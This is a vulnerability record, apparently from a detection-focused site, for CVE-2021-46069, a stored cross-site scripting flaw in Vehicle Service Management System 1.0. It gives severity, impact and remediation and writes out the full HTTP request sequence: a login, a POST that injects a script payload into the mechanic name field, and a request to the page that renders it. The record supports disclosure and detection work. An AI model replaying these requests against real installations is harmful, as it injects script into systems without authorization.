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CVE-2021-46069: Vehicle Service Management System 1.0 - Stored Cross Site Scripting

TitleVehicle Service Management System 1.0 - Stored Cross Site Scripting
AuthorTenBird
SeverityMedium
ImpactSuccessful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the application, leading to the execution of arbitrary code or theft of sensitive information.
RemediationUpgrade to the latest version to mitigate this vulnerability.
CVSS Score4.8
EPSS Score0.05674
CVE IDCVE-2021-46069
CWE IDCWE-79
Tags cve cve2021 xss vms authenticated vehicle_service_management_system_project vuln

🔍 Vulnerability Description

Vehicle Service Management System 1.0 contains a stored cross-site scripting vulnerability via the Mechanic List section in login panel.

🌐 HTTP Request

POST /classes/Login.php?f=login HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
Connection: close
Content-Length: 31
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Encoding: gzip

username=DiZYsO&password=i9Cv58
POST /classes/Master.php?f=save_mechanic HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.0.1 Safari/605.1.15
Connection: close
Content-Length: 109
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

id=&name=%22%3e%3cscript%3ealert%28document.domain%29%3c%2fscript%3e&contact=asd1&email=asd1@asd.com&status=1
GET /admin/?page=mechanics HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.2 Safari/605.1.15
Connection: close
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-46069.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-46069.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A